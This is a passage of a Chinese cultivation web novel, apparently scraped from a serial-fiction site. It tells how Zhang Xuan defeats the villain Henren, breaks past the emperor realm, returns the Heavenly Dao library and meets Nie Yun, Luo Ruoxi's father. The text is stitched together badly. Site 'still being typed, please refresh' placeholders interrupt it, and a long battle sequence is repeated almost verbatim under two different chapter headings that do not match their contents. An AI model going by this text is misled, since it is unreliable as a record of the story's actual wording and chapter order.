“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第60章 事件的起源 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第61章 不速之客 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 